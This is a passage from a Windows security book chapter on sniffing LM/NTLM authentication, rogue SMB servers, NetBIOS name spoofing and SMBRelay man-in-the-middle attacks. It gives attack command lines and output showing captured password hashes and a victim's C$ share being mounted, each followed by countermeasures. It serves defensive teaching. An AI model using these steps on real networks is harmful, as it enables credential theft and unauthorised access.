cracking \nengine. We will discuss password cracking and L0phtcrack in Chapter 7; in this chapter, \nwe focus on the tool’s ability to capture LM traffic and decode it. Although LCP does not \nsupport direct capture of Windows authentication traffic as L0phtcrack did, it can import \nLM hashes from Sniff network capture files. We review L0phtcrack’s functionality here, the \nprocess similar using LCP, with the exception that the LM hashes have to be imported.\nAs we alluded to in Chapter 2, weaknesses in the LM hash allow an attacker with the \nability to eavesdrop on the network to guess the password hash itself relatively easily \nand then attempt to guess the actual password offline—yes, even though the password \nhash never traverses the network! An in-depth description of the process of extracting \nthe password hash from the LM challenge-response routine is available within LC’s \ndocumentation, under “Technical Explanation of Network SMB Capture,” but we cover \nthe essentials of the mechanism here.\nThe critical issue is the way the LM algorithm creates the user’s hash based on two \nseparate seven-character segments of the account password. The first 8 bytes are derived \nfrom the first seven characters of the user’s password, and the second 8 bytes are derived \nfrom the eighth through fourteenth characters of the password:\nEach chunk can be attacked using exhaustive guessing against every possible 8-byte \ncombination. Attacking the entire 8-byte “character space” (that is, all possible combinations \nof allowable characters up to 8) is computationally quite easy with a modern desktop \ncomputer processor. Thus, if an attacker can discover the user’s LM hash, she stands a \ngood chance of ultimately cracking the actual cleartext password.\n" }, { "page_number": 169, "text": "Chapter 5: Hacking Windows-Specific Services \n141\nSo how does SMB Packet Capture obtain the LM hash from the challenge-response \nexchange? As shown in Chapter 2, neither the LM nor the NTLM hash is sent over the \nwire during NTLM challenge-response authentication. It turns out that the “response” \npart of NTLM challenge-response is created by using a derivative of the LM hash to encrypt \nthe 8-byte “challenge.” Because of the simplicity of the derivation process, the response \nis also easily attacked using exhaustive guessing to determine the original LM hash \nvalue. The efficiency of this process is greatly improved depending on the password \nlength. The end result: LC’s SMB Packet Capture can grab LM hashes off the wire if it can \nsniff the LM response. Using a similar mechanism, it can obtain the NTLM challenge-\nresponse hashes as well, although it is not currently capable of deriving hashes from \nNTLMv2 challenge-response traffic. Figure 5-6 shows SMB Packet Capture at work \nharvesting LM and NTLM responses from a network.\nOnce the LM and NTLM hashes are derived, they can be imported into LC or LCP, as \nshown in Figure 5-7, through standard import functionality (in LCP, this functionality is \navailable on the Import tab, called Import From Sniff File) and subject to cracking (see \nChapter 7). Depending on the strength of the passwords, the cracking process may reveal \ncleartext passwords in a matter of minutes or hours.\nFigure 5-6 L0phtcrack’s SMB Packet Capture sniffi ng password-equivalent LM challenge-\nresponses from Windows authentication exchanges over the network\n" }, { "page_number": 170, "text": "142 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nYou should note some important things about using LC’s SMB Packet Capture \nutility:\n• LC’s SMB Packet Capture utility is currently unable to derive hashes from logon \nexchanges between Windows 2000 and later systems. (A legacy Windows machine \nmust represent one side of the exchange, client or server.) In our testing, LC 4 \nwas able to derive LM responses only from authentications that involved NT 4 \nor earlier systems. If both ends of the conversation included only Windows XP, \n2000, or Server 2003, LC 4 SMB Packet Capture did not capture any packets.\n• It can capture challenge-response traffi c only from shared media, not switched.\nHowever, this can be circumvented by using Address Resolution Protocol \n(ARP) redirection/cache poisoning on switched Ethernets (see Hacking Exposed, \nFifth Edition). Another technique to reroute the SMB authentication sequence is \nNetBIOS name spoofi ng, and this technique is described later in this chapter.\n• The time to crack challenge-response hashes captured from a network sniffi ng completion \nscales linearly as you add password hashes to crack. The slowdown results from each \nhash being encrypted with a unique challenge so that work done cracking one \npassword cannot be used again to crack another (which is not the case with hashes\nobtained from a Registry dump). Thus, ten network challenge-response hashes \nwill take ten times longer to crack than just one, limiting the effectiveness of this \ntype of password auditing to specifi c situations.\n• The included WinPcap packet capture driver must be successfully installed and running \nduring SMB Packet Capture. LC installs WinPcap automatically, and the driver is \nlaunched at boot time.\nTo verify correct installation of WinPcap, check to see that WinPcap appears in the \nAdd/Remove Programs Control Panel applet. When running SMB Packet Capture, you \nFigure 5-7 The LCP tool at work cracking Windows passwords imported from network sniffer \ncaptures\n" }, { "page_number": 171, "text": "Chapter 5: Hacking Windows-Specific Services \n143\ncan verify that the driver is loaded by running Computer Management (compmgmgt \n.msc) and looking under the System Information/Software Environment/Drivers node. \nThe entry called packet_2.1 (the number may be different for different versions of \nWinPcap) should be listed as Running. Also, be sure to disable any personal firewall \nsoftware that may be running on your system to ensure that it does not interfere with \nWinPcap’s packet capture.\nScoopLM/BeatLM\nAnother great set of tools for capturing LM responses and cracking \nthem is the ScoopLM and BeatLM tools from Urity at SecurityFriday.com. ScoopLM \nperforms similarly to LC SMB Packet Capture, but it will also give visibility into \nauthentication exchanges involving systems newer than NT 4. For example, Figure 5-8 \nshows ScoopLM capturing password exchanges between a Windows server and the \nfollowing clients: Windows NT 4, XP, and Server 2003. (You can tell which client is which \nby the username we selected.)\nUnfortunately, when you attempt to crack these logon exchanges using BeatLM, you \nquickly find that the LM responses in this data are not susceptible to cracking, as we \nshow in Figure 5-9. Each of the passwords for the user in question is test, and we have \nused a dictionary with the word test in it. As you can see, the NT 4 LM response is \ncracked quite handily, but the Windows XP and Windows client responses are not, \nshowing the ERR message in the right column. We’ll discuss the reason for this in the \n“Countermeasures” section coming up shortly.\nRedirecting SMB Logon to the Attacker Assuming users can be tricked into connecting to a \nserver of the attacker’s choice, capturing LM responses becomes much easier. This \napproach also comes in handy when network switching has been implemented, as it will \ninvoke authentication sessions proximal to the attacker’s system regardless of network \ntopology.\nFigure 5-8 ScoopLM captures LM/NTLM challenge-response authentication between various \nclients and a Windows Server 2003 system.\n" }, { "page_number": 172, "text": "144 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nIt is also a more granular way to target individual users. The most basic trick was \nsuggested in one of the early releases of L0phtcrack: Send an e-mail message to the victim \nwith an embedded hyperlink to a fraudulent server. The victim receives the message, the \nhyperlink is followed (manually or automatically), and the client unwittingly sends the \nuser’s LM/NTLM credentials over the network. Such links are easily disguised and \ntypically require little user interaction because Windows automatically tries to log in as the \ncurrent user if no other authentication information is explicitly supplied. This is probably one \nof the most debilitating behaviors of Windows from a security perspective, and it’s one \nthat we will touch on again in Chapter 12.\nAs an example, consider an embedded image tag that renders with HTML in a web \npage or e-mail message:\n\n\n\nWhen this HTML renders in Internet Explorer or Outlook/Outlook Express, the null.gif \nfile is loaded and the victim will initiate Windows authentication with attacker_server.\nThe shared resource does not even have to exist. We’ll discuss other such approaches, \nincluding telnet session invocation, in Chapter 10 on client-side hacking.\nOnce the victim is fooled into connecting to the attacker’s system, the only remaining \nfeature necessary to complete the exploit is to capture the ensuing LM response, and \nwe’ve seen how trivial this is using SMB Packet Capture or ScoopLM. Assuming that one \nof these tools is listening on attacker_server or its local network segment, the LM/NTLM \nchallenge-response traffic will come pouring in.\nOne variation on this attack is to set up a rogue Windows server to capture the hashes \nas opposed to a sniffer like SMB Packet Capture. Several tools can respond to client \nauthentication with a static SMB server challenge to improve password-cracking \nperformance. We’ll discuss rogue SMB servers in “Subverting Windows Authentication” \nlater in this chapter. It is also possible to use ARP redirection/cache poisoning to redirect \nclient traffic to a designated system; see Hacking Exposed, Fifth Edition, Chapter 7.\nFigure 5-9 BeatLM cracks passwords obtained from LM response sniffi ng. Note that it does not \ncrack passwords from newer Windows versions beginning with Windows XP.\n" }, { "page_number": 173, "text": "Chapter 5: Hacking Windows-Specific Services \n145\nCountermeasures, or Rather Mitigations, \nfor Sniffi ng Windows Credentials\nThe risk presented by LM response sniffing can be mitigated in several ways.\nOne way is to ensure that network security best practices are followed. Keep Windows \nauthentication services within protected networks and ensure that the overall network \ninfrastructure does not allow LM traffic to pass by untrusted nodes. A corollary of this \nremedy is to ensure that physical network access points (wall jacks and so on) are not \navailable to casual passersby. (Remember that this is made more difficult with the growing \nprevalence of wireless networking.) In addition, although it’s generally a good idea to use \nfeatures built into networking equipment or Dynamic Host Configuration Protocol \n(DHCP) to prevent intruders from registering physical and network-layer addresses \nwithout authentication, recognize that sniffing attacks do not require the attacker to obtain \na MAC (Media Access Control) or IP address since they operate in promiscuous mode.\nIn the second case, configure all Windows systems within your environment to \ndisable propagation of the LM hash on the wire. This is done using the Network Security: \nLAN Manager Authentication Level setting under Security Policy (Computer \nConfiguration/Windows Settings/Security Settings/Local Policies/Security Options \nnode within the Group Policy or Local Security Policy MMC snap-in). This setting allows \nyou to configure Windows 2000 and later to perform LM/NTLM authentication in one \nof six ways (from least secure to most; adapted from KB article Q239869):\n• Level 0 Send LM and NTLM response; never use NTLM 2 session security. \nClients use LM and NTLM authentication and never use NTLM 2 session \nsecurity; domain controllers accept LM, NTLM, and NTLM 2 authentication. \n(This is the default on Windows products through Windows XP.)\n• Level 1 Use NTLM 2 session security if negotiated. Clients use LM and NTLM \nauthentication and use NTLM 2 session security if the server supports it; domain \ncontrollers accept LM, NTLM, and NTLM 2 authentication.\n• Level 2 Send NTLM response only. Clients use only NTLM authentication and \nuse NTLM 2 session security if the server supports it; domain controllers accept \nLM, NTLM, and NTLM 2 authentication. (This is the default on Windows.)\n• Level 3 Send NTLM 2 response only. Clients use NTLM 2 authentication and \nuse NTLM 2 session security if the server supports it; domain controllers accept \nLM, NTLM, and NTLM 2 authentication.\n• Level 4 Domain controllers refuse LM responses. Clients use NTLM 2 \nauthentication and use NTLM 2 session security if the server supports it; domain \ncontrollers refuse LM authentication (that is, they accept NTLM and NTLM 2).\n• Level 5 Domain controllers refuse LM and NTLM responses (they accept \nonly NTLM 2). Clients use NTLM 2 authentication and use NTLM 2 session \nsecurity if the server supports it; domain controllers refuse NTLM and LM \nauthentication (they accept only NTLM 2).\n" }, { "page_number": 174, "text": "146 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nBy setting LAN Manager Authentication Level to Level 2, Send NTLM Response \nOnly, LM response sniffing tools will not be able to derive a hash from challenge-response \nauthentication. (Settings higher than 2 will also work and are more secure.) Figure 5-10 \nshows the Windows Security Policy interface in its default setting of the LM Authenti-\ncation level.\nWhen applying the LM Authentication Level setting on Windows, right-click the top node of the MMC \ntree in which the setting is displayed and select Reload. This will apply the setting immediately.\nWhat about the newer NTLM and NTLM 2 protocols? The NTLM response is not \nsusceptible to LM response sniffing, since it is not based on concatenated cryptographic \nmaterial that can be attacked in parallel. For example, L0phtcrack’s SMB Packet Capture \nwill still appear to have captured a Windows client’s LM response even if its LM \nAuthentication Level is set to 2, but once imported into L0phtcrack for cracking, password \nhashes derived from NTLM-only responses will not crack within a reasonable timeframe. \nAs we saw earlier, other LM response sniffing tools like ScoopLM exhibit this same behavior. \nThe reason for this behavior is usually that the authentication method used is a variant of \nNTLM, called ntlm2 (not the same as NTLMv2). These hashes can be cracked using tools \nlisted in the “References and Further Reading” section. This is not to say that an attacker \ncannot crack valid NTLM hashes (as we will see in Chapter 7, it is quite possible).\nIt is interesting to note that NTLM 2 challenge-responses can be sniffed as well and \nare vulnerable to a similar attacks. Links to publicly available tools, and a description, \nare available in “References and Further Reading.”\nFigure 5-10 The Windows Server 2003 LANMan Authentication Level default setting prevents \nsending the vulnerable LM response over the wire.\n" }, { "page_number": 175, "text": "Chapter 5: Hacking Windows-Specific Services \n147\nThe LAN Manager Authentication Level setting was configured using the HKLM\\\nSystem\\CurrentControlSet\\Control\\LSA\\LMCompatibilityLevel Registry key under \nNT 4, where the Level 0–5 designations originated, even though the numbers don’t \nappear in the Windows Security Policy interface (see KB article Q147706).\nRemember that as long as systems in an environment have not been set to Level 2 or higher, that \nenvironment is vulnerable, even if all servers have been set to Level 4 or 5. Clients will still send the \nLM response even if the server doesn’t support it.\nOne of the biggest issues large organizations faced when deploying the old \nLMCompatibilityLevel Registry setting was the fact that older Windows clients could \nnot send the NTLM response. This issue was addressed with the Directory Services \nClient, included on the Windows 2000 CD-ROM under Clients\\Win9x\\Dsclient.exe.\nOnce installed, DSClient allows Windows 9x clients to send the NTLM 2 response. \nWindows 9x must still be configured to send only the NTLM 2 response by creating an \nLSA Registry key under HKLM\\System\\CurrentControlSet\\Control and then adding \nthe following registry value:\nValue Name: LMCompatibility\nData Type: REG_DWORD\nValue: 3\nValid Range: 0,3\nOn Windows 9x clients with DSClient installed, this Registry value should be named LMCompatibility, \nnot LMCompatibilityLevel, which is used for the NT 4 setting.\nIt’s also important to note that the LAN Manager Authentication Level setting applies \nto SMB communications. Another Registry key controls the security of Microsoft Remote \nProcedure Call (MSRPC) and Windows Integrated Authentication over HTTP on both \nclient and server (they must match):\nHKLM\\System\\CurrentControlSet\\control\\LSA\\MSV1_0\nValue Name: NtlmMinClientSec or NtlmMinServerSec\nData Type: REG_WORD\nValue: one of the values below:\n0x00000010- Message integrity\n0x00000020- Message confidentiality\n0x00080000- NTLM 2 session security\n0x20000000- 128-bit encryption\n0x80000000- 56-bit encryption\nFinally, as we’ve noted frequently in this chapter, Windows 2000 and later versions are \ncapable of performing another type of authentication: Kerberos. Because it is a wholly \ndifferent type of authentication protocol, it is not vulnerable to LM response sniffing. \nUnfortunately, clients cannot be forced to use Kerberos by simply setting a Registry value \nsimilar to LM Authentication Level, so as long as there are down-level systems in your \nenvironment, it is likely that LM/NTLM challenge-response authentication will be used.\n" }, { "page_number": 176, "text": "148 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nIn addition, in some scenarios, Kerberos will not be used in a homogeneous Windows \n2000 or later environment. For example, if the two machines are in a different Windows \n2000 forest, Kerberos will not be used (unless a cross-forest trust is enabled, which is \navailable only in native Windows domains; see Chapter 2). If the two machines are in the \nsame forest, Kerberos may be used—but only if the machines are referenced by their \nNetBIOS machine names or DNS names; accessing them by IP address will always use \nLM/NTLM challenge-response. Finally, if an application used within a Windows domain \ndoes not support Kerberos or supports only legacy LM/NTLM challenge-response \nauthentication, it will obviously not use Kerberos, and authentication traffic will be \nvulnerable to LM response sniffing.\nRemember also that to set up Kerberos in a Windows 2000 and later environment, \nyou must deploy a domain with Active Directory. Some good tools to use to determine \nwhether Kerberos is being used for specific sessions are the Resource Kit kerbtray utility, \na graphical tool, or the command-line klist tool. We’ll discuss Kerberos in more detail in \nAppendix A.\nRemember that earlier in this chapter we demonstrated that Kerberos authentication can be sniffed \nas well!\nSUBVERTING WINDOWS AUTHENTICATION\nFinally we reach the last of the three attack vectors we set out to discuss in this chapter. \nIn contrast to guessing or eavesdropping on passwords, this section will focus on \nactually slipping into the authentication stream to harvest credentials and even steal \nvalid authentication sessions right from the client. Our discussion here is divided into \ntwo parts:\n• Rogue server attacks\n• MITM attacks\nOther methods of subverting the authentication sequence are pass-the-hash attacks \nand session piggy-backing. Both of these methods require that the attacker has already \ngained access to a target machine and will be discussed further in Chapter 7.\nSMB Redirection\nPopularity:\n2\nSimplicity:\n2\nImpact:\n7\nRisk Rating:\n4\nIn May 2001, Sir Dystic of Cult of the Dead Cow wrote and released a tool called \nSMBRelay to much fanfare—The Register breathlessly sensationalized the tool with the \nheadline “Exploit Devastates WinNT/2K Security,” apparently not aware of the \nweaknesses in LM authentication that had been around for some time by this point.\n" }, { "page_number": 177, "text": "Chapter 5: Hacking Windows-Specific Services \n149\nSMBRelay is essentially an SMB server that can harvest usernames and password \nhashes from incoming SMB traffic. As the name implies, SMBRelay can act as more than \njust a rogue SMB endpoint—it also can perform MITM attacks given certain circumstances. \nWe’ll discuss SMBRelay’s MITM functionality a bit later in the section “MITM Attacks”; \nfor now, we focus on its use as a simple rogue SMB server.\nSetting up a rogue SMBRelay server is quite simple. The first step is to run the \nSMBRelay tool with the enumerate switch (/E) to identify an appropriate physical \ninterface on which to run the listener:\nC:\\>smbrelay /E\nSMBRelay v0.992 - TCP (NetBT) level SMB man-in-the-middle relay attack\n Copyright 2001: Sir Dystic, Cult of the Dead Cow\n Send complaints, ideas and donations to sirdystic@cultdeadcow.com\n[2] ETHERNET CSMACD - 3Com 10/100 Mini PCI Ethernet Adapter\n[1] SOFTWARE LOOPBACK - MS TCP Loopback interface\nAs this example illustrates, the interface with index 2 is the most appropriate to select \nbecause it is a physical card that will be accessible from remote systems (the Loopback \nadapter is accessible only to localhost). Of course, with multiple adapters options widen, \nbut we’ll stick to the simplest case here and use the index 2 adapter in further discussion. \nNote that this index number may change between separate usages of SMBRelay.\nStarting the server can be tricky on Windows Server 2000 and later systems because \nthe OS won’t allow another process to bind SMB port TCP 139 when the OS is using it. \nOne way around this is to disable TCP 139 temporarily by checking Disable NetBIOS \nOver TCP/IP, an option that can be found by selecting the Properties of the appropriate \nLocal Area Connection, and then selecting Properties of Internet Protocol (TCP/IP), \nclicking the Advanced button, and selecting the appropriate radio button on the WINS \ntab, as discussed in Chapter 4. Once this is done, SMBRelay can bind TCP 139.\nIf disabling TCP 139 is not an option, the attacker must create a virtual IP address on \nwhich to run the rogue SMB server. Thankfully, SMBRelay provides automated functionality \nto set up and delete virtual IP addresses using a simple command-line switch, /L+ ip_\naddress. However, we have experienced erratic results using the /L switch on Windows \n2000 and recommend disabling TCP 139, as explained previously, rather than using /L.\nOne additional detail to consider when using SMBRelay on NT 4 Service Pack 6a and \nlater: If a modern SMB client fails to connect on TCP 139, it will then attempt an SMB \nconnection on TCP 445. To avoid having these later clients circumvent the rogue \nSMBRelay server listening on TCP 139, TCP 445 should be blocked or disabled on the \nrogue server. Since the only way to disable TCP 445 leaves TCP 139 intact, the best way \nis to block TCP 445 using an IPSec filter (see Appendix A).\nThe following examples illustrate SMBRelay running on a Windows 2000 host and \nassumes that TCP 139 has been disabled (as explained) and that TCP 445 has been blocked \nusing an IPSec filter. Here’s how to start SMBRelay on Windows 2000, assuming that \ninterface index 2 will be used for the local listener and relay address, and the rogue \nserver will listen on the existing IP address for this interface:\nC:\\>smbrelay /IL 2 /IR 2\nSMBRelay v0.992 - TCP (NetBT) level SMB man-in-the-middle relay attack\n" }, { "page_number": 178, "text": "150 \nHacking Exposed Windows: Windows Security Secrets & Solutions \n Copyright 2001: Sir Dystic, Cult of the Dead Cow\n Send complaints, ideas and donations to sirdystic@cultdeadcow.com\nUsing relay adapter index 2: 3Com EtherLink PCI\nBound to port 139 on address 192.168.234.34\nSubsequently, SMBRelay will begin to receive incoming SMB session negotiations. When \na victim client successfully negotiates an SMB session, here is what SMBRelay does:\nConnection from 192.168.234.44:1526\nRequest type: Session Request 72 bytes\nSource name: CAESARS <00>\nTarget name: *SMBSERVER <20>\nSetting target name to source name and source name to 'CDC4EVER'...\nResponse: Positive Session Response 4 bytes\nRequest type: Session Message 137 bytes\nSMB_COM_NEGOTIATE\nResponse: Session Message 119 bytes\nChallenge (8 bytes): 952B499767C1D123\nRequest type: Session Message 298 bytes\nSMB_COM_SESSION_SETUP_ANDX\nPassword lengths: 24 24\nCase insensitive password: 4050C79D024AE0F391DF9A8A5BD5F3AE5E8024C5B9489BF6\nCase sensitive password: 544FEA21F61D8E854F4C3B4ADF6FA6A5D85F9CEBAB966EEB\nUsername: \"Administrator\"\nDomain: \"CAESARS-TS\"\nOS: \"Windows 2195\"\nLanman type: \"Windows 5.0\"\n???: \"\"\nResponse: Session Message 156 bytes\nOS: \"Windows 5.0\"\nLanman type: \"Windows LAN Manager\"\nDomain: \"CAESARS-TS\"\nPassword hash written to disk\nConnected?\nRelay IP address added to interface 2\nBound to port 139 on address 192.1.1.1\n relaying for host CAESARS 192.168.234.44\nAs you can see, both the LM (“case insensitive”) and NTLM (“case sensitive”) passwords \nhave been captured and written to the file hashes.txt in the current working directory. \nThis file may be imported into L0phtcrack for cracking.\nBecause of file format differences with versions later than 2.52, SMBRelay-captured hashes cannot \nbe imported directly into L0phtcrack.\nWhat’s even worse, the attacker’s system now can access the client machine by \nsimply connecting to it via the relay address, which defaults to 192.1.1.1. Here’s what this \nlooks like:\n" }, { "page_number": 179, "text": "Chapter 5: Hacking Windows-Specific Services \n151\nC:\\>net use * \\\\192.1.1.1\\c$\nDrive E: is now connected to \\\\192.168.234.252\\c$.\nThe command completed successfully.\nC:\\>dir e:\n Volume in drive G has no label.\n Volume Serial Number is 44F0-BFDD\n Directory of G:\\\n12/02/2000 10:51p Documents and Settings\n12/02/2000 10:08p <0x000A> Inetpub\n05/25/2001 03:47a <0x000A> Program Files\n05/25/2001 03:47a <0x000A> WINNT\n 0 File(s) 0 bytes\n 4 Dir(s) 44,405,624,832 bytes free\nOn the Windows 2000 client system that unwittingly connected to the SMBRelay \nserver in the preceding example, the following behavior is observed. First, the original \nnet use command appears to have failed, throwing system error 64. Running net use\nwill indicate that no drives are mounted. However, running net session will reveal \nthat it is unwittingly connected to the spoofed machine name (CDC4EVER, which \nSMBRelay sets by default unless changed using the /S name parameter):\nC:\\client>net use \\\\192.168.234.34\\ipc$ * /u:Administrator\nType the password for \\\\192.168.234.34\\ipc$:\nSystem error 64 has occurred.\nThe specified network name is no longer available.\nC:\\client>\\>net use\nNew connections will not be remembered.\nThere are no entries in the list.\nC:\\client>\\>net session\nComputer User name Client Type Opens Idle time\n-------------------------------------------------------------------------------\n\\\\CDC4EVER ADMINISTRATOR 0wned by cDc 0 00:00:27\nThe command completed successfully.\nSome issues commonly crop up when using SMBRelay. The next example illustrates \nthose. Our intended victim’s IP address is 192.168.234.223.\nConnection from 192.168.234.223:2173\nError receiving data from incoming connection\n" }, { "page_number": 180, "text": "152 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nThis typically occurs when the victim supplies an invalid username/password \ncombination. SMBRelay will continue to listen, but it may encounter further errors:\nConnection rejected: 192.168.234.223 already connected\nOnce a connection has been attempted from a given victim’s IP address and fails, all \nfurther attempts from this address will generate this error. (This is according to the \ndesign of the program, as stated in the readme.) You may also experience this issue even \nif the initial negotiation is successful but you receive a message like “Login failure code: \n0xC000006D.” Restarting SMBRelay alleviates these problems (just press CTRL-C to stop \nit). In addition, you may see spurious entries like the following:\nConnection from 169.254.9.119:2174\nUnable to connect to 169.254.9.119:139\nThis is the Loopback adapter making connections to the SMBRelay server—they are safe \nto ignore.\nRemember that it is also possible to use ARP redirection/cache poisoning to redirect \nclient traffic to a rogue SMB server; see the fourth edition of Hacking Exposed: Network \nSecurity Secrets & Solutions, Chapter 9.\nCountermeasures to SMB Redirection\nIn theory, SMBRelay is quite difficult to defend against. Since it claims to be capable of \nnegotiating all of the different LM/NTLM authentication dialects, it should be able to \ncapture whatever authentication is directed toward it.\nDigitally signing SMB communications (discussed later in the “Countermeasures to \nMITM” section) can be used to combat SMBRelay MITM attacks, but it will not always \nderail fraudulent server attacks since SMBRelay can downgrade secure channel \nnegotiation with victim clients if possible. More information about SMB signing can be \nfound in “References and Further Reading.” The default settings in Windows Vista are \nmore restrictive on allowing unsigned communication than previous versions of \nWindows.\nNetBios Name Spoofi ng\nMicrosoft Windows supports multiple name resolution protocols. One of the older ones, \nNetBios name resolution, works by broadcasting name queries, making it easy to attack.\nThe attack works by having a program listening for broadcast queries on port 137/\nUDP and replying with a positive name resolution with a IP address of the attacker’s \nchoice. Figure 5-11 shows a simple NetBIOS name spoofer available from www.toolcrypt \n.org/index.html?hew.\nCountermeasures to NetBios Name Spoofi ng\nLittle can be done to protect against NetBios name spoofing if the network in question \nneeds NetBios name resolution to function. If NetBios name resolution can be disabled \nwithout negative impact on the network functionality, it should be turned off on all \nmachines in the network.\n" }, { "page_number": 181, "text": "Chapter 5: Hacking Windows-Specific Services \n153\nMITM Attacks\nPopularity:\n2\nSimplicity:\n2\nImpact: \n8\nRisk Rating:\n4\nMITM attacks were the main reason for the great hype over SMBRelay when it was \nreleased. Although the concept of SMB MITM attacks was quite old by the time SMBRelay \nwas released, it was the first widely distributed tool to automate the attack.\nHere’s an example of setting up MITM with SMBRelay. The attacker in this example \nsets up a fraudulent server at 192.168.234.251 using the /L+ switch, a relay address of \n192.168.234.252 using /R, and a target server address of 192.168.234.34 with /T:\nC:\\>smbrelay /IL 2 /IR 2 /R 192.168.234.252 /T 192.168.234.220\nBound to port 139 on address 192.168.234.251\nA victim client, 192.168.234.220, then connects to the fraudulent server address, thinking \nit is talking to the target:\nConnection from 192.168.234.220:1043\nRequest type: Session Request 72 bytes\nSource name: GW2KNT4 <00>\nTarget name: *SMBSERVER <20>\nSetting target name to source name and source name to 'CDC4EVER'...\nResponse: Positive Session Response 4 bytes\nRequest type: Session Message 174 bytes\nSMB_COM_NEGOTIATE\nResponse: Session Message 95 bytes\nChallenge (8 bytes): 1DEDB6BF7973DD06\nFigure 5-11 A NetBIOS name spoofi ng tool written by Toolcrypt.org\n" }, { "page_number": 182, "text": "154 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nSecurity signatures required by server *** THIS MAY NOT WORK!\nDisabling security signatures\nNote that the target server has been configured to require digitally signed SMB \ncommunications, and the SMBRelay attempts to disable the signatures.\nRequest type: Session Message 286 bytes\nSMB_COM_SESSION_SETUP_ANDX\nPassword lengths: 24 24\nCase insensitive password: A4DA35F982C8E17FA2BBB952CBC01382C210FF29461A71F1\nCase sensitive password: F0C2D1CA8895BD26C7C7E8CAA54E10F1E1203DAD4782FB95\nUsername: \"Administrator\"\nDomain: \"NT4DOM\"\nOS: \"Windows NT 1381\"\nLanman type: \"\"\n???: \"Windows NT 4.0\"\nResponse: Session Message 144 bytes\nOS: \"Windows NT 4.0\"\nLanman type: \"NT LAN Manager 4.0\"\nDomain: \"NT4DOM\"\nPassword hash written to disk\nConnected?\nRelay IP address added to interface 2\nBound to port 139 on address 192.168.234.252 relaying for host GW2KNT4\n 192.168.234.220\nAt this point, the attacker has successfully inserted himself into the SMB stream between \nvictim client and target server and derived the client’s LM and NTLM hashes from the \nchallenge-response. Connecting to the relay address will give access to the target server’s \nresources. For example, here is a separate attack system mounting the C$ share on the \nrelay address:\nD:\\>net use * \\\\192.168.234.252\\c$\nDrive G: is now connected to \\\\celery\\e$.\nThe command completed successfully.\nHere’s what the connection from this attacker’s system (192.168.234.50) looks like on the \nSMBRelay server console:\n*** Relay connection for target GW2KNT4 received from \n192.168.234.50:1044\n *** Sent positive session response for relay target GW2KNT4\n *** Sent dialect selection response (7) for target GW2KNT4\n *** Sent SMB Session setup response for relay to GW2KNT4\nSMBRelay can be erratic and results are not always this clean, but when implemented \nsuccessfully, this is clearly a devastating attack: the MITM has gained complete access to \nthe target server’s resources without really lifting a finger.\n" }, { "page_number": 183, "text": "Chapter 5: Hacking Windows-Specific Services \n155\nAnother MITM technique is SMBProxying, which relies on the attacker being in the \ndirect route in between the client and the server, acting as a server for the client and as a \nclient for the server.\nCompared to SMBRelaying, this technique targets the SMB protocol and makes it \npossible to perform active interaction with the session setup and authentication sequence, \nsuch as downgrading SMB security level and modifying challenge and/or injecting \npassword hashes.\nDowngrading of the authentication is to the attacker’s benefit—it has been pretty \ncommon to downgrade the authentication to cleartext or a weaker crypto. This shows \nthe importance of setting requirements for sending and demanding higher encryption.\nOf course, the key hurdle here is to convince a victim client to authenticate to the \nMITM server in the first place, but we’ve already discussed several ways to do this. One \nwould be to send a malicious e-mail message to the victim client with an embedded \nhyperlink to the MITM SMBRelay server’s address. The other would be to implement an \nARP poisoning or a NetBios name spoofing attack against an entire segment, causing all \nof the systems on the segment to authenticate through the fraudulent MITM server. \nChapter 9 of Hacking Exposed, Fourth Edition, discusses ARP redirection/cache poisoning.\nCountermeasures to MITM Attacks\nThe seemingly obvious countermeasure to SMBRelay is to configure Windows systems \nto use SMB Signing, which is now referred to as digitally signing Microsoft network \nclient/server communications. SMB Signing was introduced with Windows NT 4 Service \nPack 3 and is discussed in KB article Q161372 (see “References and Further Reading” for \nmore information).\nSetting Windows to sign client or server communications digitally will cause it to \nsign each block of SMB communications cryptographically. This signature can be checked \nby a client or server to ensure the integrity and authenticity of each block, making SMB \nserver spoofing theoretically impossible (well, highly improbable at least, depending on \nthe signing algorithm used). These settings are found under Security Policy/Local \nPolicies/Security Options. Thus, if the server supports SMB Signing, Windows will use \nit. To force SMB Signing, optionally enable the settings that state Always.\nUsing SMB Signing incurs network overhead, and it may cause connectivity issues with NT 4 or even \nnewer systems, even if SMB Signing is enabled on those systems.\nSince SMBRelay or -Proxy MITM attacks are essentially legitimate connections, no \ntelltale log entries appear to indicate that it is occurring. On the victim client, connectivity \nissues may arise when connecting to fraudulent MITM servers, including System Error \n59, “An unexpected network error occurred.” Using SMBRelay, the connection will \nactually succeed, thanks to SMBRelay, but it disconnects the client and hijacks the \nconnection for itself.\n" }, { "page_number": 184, "text": "156 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nEXPLOITING WINDOWS-SPECIFIC SERVICES\nThe Windows-specific services were described in Chapter 3 (Table 3-2). Our definition of \n“Windows-specific services” is rather informal, but in essence it encompasses any \nremotely accessible network daemon or application that is proprietary to Microsoft \nCorporation or that is a Microsoft proprietary implementation of a standard protocol \n(such as HTTP or Kerberos). This section covers remote exploits of these services.\nAnother key differentiator for this section of the chapter is the focus on exploitation of \nthese services. Although we have discussed password guessing, eavesdropping on \nlogons, and other techniques to take advantage of many of these services already in this \nchapter, this section focuses on exploiting known bugs in service software code. Put \nanother way, this section covers “point-and-click” exploitation of a vulnerable service.\nAs Microsoft continues to improve the security of the base Windows platform, attacks \nwill likely trend toward applications, rather than operating system services. For example, \nWindows Vista has gone through a considerable amount of engineering to introduce \ntechnologies to make exploitation more difficult—randomizing memory addresses, code \nreviews, non-executable bits, and so on (see Chapter 12). For an attacker this means that \nthe operating system might not be such an easy target anymore, at least compared to \napplications running on the system. One recent example (as of this writing) is Core \nSecurity’s exploit of the CA BrightStor ArcServe application running on Vista.\nMSRPC Interface Buffer Overfl ows (Blaster Worm)\nPopularity:\n10\nSimplicity:\n10\nImpact: \n10\nRisk Rating:\n10\nMuch like later SQL Slammer (see Chapter 9), the genesis of the Blaster worm was in \na Microsoft published security bulletin about a serious vulnerability in a nearly forgotten \nprotocol that was nevertheless ubiquitous across computing infrastructures worldwide: \nthe MSRPC Endpoint Mapper. This vulnerability is exploitable via TCP/UDP 135, 139, \n445, and 593 (and also via HTTP if COM Internet Services is installed on Windows 2000).\nThe actual vulnerability is in a low-level 